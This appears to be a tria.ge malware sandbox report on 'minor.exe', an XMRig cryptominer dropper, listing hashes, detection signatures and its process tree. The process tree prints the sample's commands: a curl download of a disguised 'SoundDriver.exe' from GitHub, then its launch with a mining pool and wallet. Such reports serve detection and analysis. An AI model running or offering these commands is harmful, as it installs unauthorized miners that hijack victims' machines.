Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
2690s -
max time network
2699s -
platform
windows11-21h2_x64 -
resource
win11-20240412-en -
resource tags
arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system -
submitted
22/04/2024, 12:37
Static task
static1
Behavioral task
behavioral1
Sample
minor.exe
Resource
win10v2004-20240412-en
General
-
Target
minor.exe
-
Size
5.3MB
-
MD5
86aea8fe1b99b196c52bcdd2ff694661
-
SHA1
258a811f758db8445811d26dc01bd73a950e486b
-
SHA256
6d415e41fc403775530efce9799170862a82d280a7d7adf62d76eaa08c0df2a6
-
SHA512
94bed31c18de74f293d4ac531070b3c82a1a01eea82e8b4999b6fd1dfe8a4b494cec01b89ea4f592a956086b7bf46fe65fb9df5f2eb16055ca22eb01d30fccdd
-
SSDEEP
98304:MG9ExC3hEqwkgp7gRgr3A/S4gHg4fjBolfeKYwPkC4MBmdJl:598pZr3US4aggKheJfMB0J
Malware Config
Signatures
-
XMRig Miner payload 2 IoCs
resource yara_rule behavioral2/files/0x000300000002a9da-37.dat family_xmrig behavioral2/files/0x000300000002a9da-37.dat xmrig -
Downloads MZ/PE file
-
Executes dropped EXE 2 IoCs
pid Process 4892 minor.exe 1064 driver.exe -
Loads dropped DLL 4 IoCs
pid Process 4892 minor.exe 4892 minor.exe 4892 minor.exe 4892 minor.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 1 raw.githubusercontent.com 5 raw.githubusercontent.com -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeLockMemoryPrivilege 1064 driver.exe Token: SeLockMemoryPrivilege 1064 driver.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1064 driver.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 5020 wrote to memory of 4892 5020 minor.exe 79 PID 5020 wrote to memory of 4892 5020 minor.exe 79 PID 4892 wrote to memory of 3912 4892 minor.exe 80 PID 4892 wrote to memory of 3912 4892 minor.exe 80 PID 3912 wrote to memory of 3908 3912 cmd.exe 81 PID 3912 wrote to memory of 3908 3912 cmd.exe 81 PID 4892 wrote to memory of 2896 4892 minor.exe 84 PID 4892 wrote to memory of 2896 4892 minor.exe 84 PID 2896 wrote to memory of 1064 2896 cmd.exe 85 PID 2896 wrote to memory of 1064 2896 cmd.exe 85
Processes
-
C:\Users\Admin\AppData\Local\Temp\minor.exe"C:\Users\Admin\AppData\Local\Temp\minor.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:5020 -
C:\Users\Admin\AppData\Local\Temp\onefile_5020_133582633123530072\minor.exe"C:\Users\Admin\AppData\Local\Temp\minor.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4892 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -L -k https://github.com/mzusi/m/raw/main/SoundDriver.exe -o driver.exe3⤵
- Suspicious use of WriteProcessMemory
PID:3912 -
C:\Windows\system32\curl.execurl -L -k https://github.com/mzusi/m/raw/main/SoundDriver.exe -o driver.exe4⤵PID:3908
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\driver.exe" --donate-level 1 --max-cpu-usage 60 -o pool.hashvault.pro:3333 -u 46ZMzz8br9seCKvP1xjQFWQkhYQQpjTvZKwFJ7NUFPWNZim5v1kpD7F2jPCpzpXKqV7ifmeM9kMPQcH8iJXmEKdrDiuBViq -p minor -k"3⤵
- Suspicious use of WriteProcessMemory
PID:2896 -
C:\Users\Admin\AppData\Local\Temp\driver.exe"C:\Users\Admin\AppData\Local\Temp\driver.exe" --donate-level 1 --max-cpu-usage 60 -o pool.hashvault.pro:3333 -u 46ZMzz8br9seCKvP1xjQFWQkhYQQpjTvZKwFJ7NUFPWNZim5v1kpD7F2jPCpzpXKqV7ifmeM9kMPQcH8iJXmEKdrDiuBViq -p minor -k4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1064
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
81KB
MD54101128e19134a4733028cfaafc2f3bb
SHA166c18b0406201c3cfbba6e239ab9ee3dbb3be07d
SHA2565843872d5e2b08f138a71fe9ba94813afee59c8b48166d4a8eb0f606107a7e80
SHA5124f2fc415026d7fd71c5018bc2ffdf37a5b835a417b9e5017261849e36d65375715bae148ce8f9649f9d807a63ac09d0fb270e4abae83dfa371d129953a5422ca
-
Filesize
154KB
MD5337b0e65a856568778e25660f77bc80a
SHA14d9e921feaee5fa70181eba99054ffa7b6c9bb3f
SHA256613de58e4a9a80eff8f8bc45c350a6eaebf89f85ffd2d7e3b0b266bf0888a60a
SHA51219e6da02d9d25ccef06c843b9f429e6b598667270631febe99a0d12fc12d5da4fb242973a8351d3bf169f60d2e17fe821ad692038c793ce69dfb66a42211398e
-
Filesize
5.1MB
MD599aa369598e5d8eba59b7d0f0a8429f9
SHA17baaf6546112049038e4c62143ce7dd77c3a97c9
SHA2568174ccc5cfae43503648608ba6ae14b00679517591a2cdff9017c4be2ab2996b
SHA5123fdb8674033d6736bb548c262f54e1277c196fb83c3bfcc6dbe9b8bb126fb3f8404b6385f666b389e5ea84ab7261bcb65dddd88e39c53d3d0e6813dd9212c62f
-
Filesize
96KB
MD5f12681a472b9dd04a812e16096514974
SHA16fd102eb3e0b0e6eef08118d71f28702d1a9067c
SHA256d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
SHA5127d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2
-
Filesize
6.6MB
MD5200fee01cf3de4da6bf580c14e1e77e6
SHA1611dde1205e4d0ade3d83cd7c24b4471beb32fbd
SHA256ceeea1d4ce20711bceca9919b1d203532fc2a5cacd11552205dd979df28175c1
SHA512b0e492446c42e237701bb15929de7494e98556b1f8d54968b348610244ed6f34d9ec53bedf37b285f680dc6eb46cbb7518b8a89df5dad4a6aa27369be0b532fe
-
Filesize
5.5MB
MD59a24c8c35e4ac4b1597124c1dcbebe0f
SHA1f59782a4923a30118b97e01a7f8db69b92d8382a
SHA256a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7
SHA5129d9336bf1f0d3bc9ce4a636a5f4e52c5f9487f51f00614fc4a34854a315ce7ea8be328153812dbd67c45c75001818fa63317eba15a6c9a024fa9f2cab163165b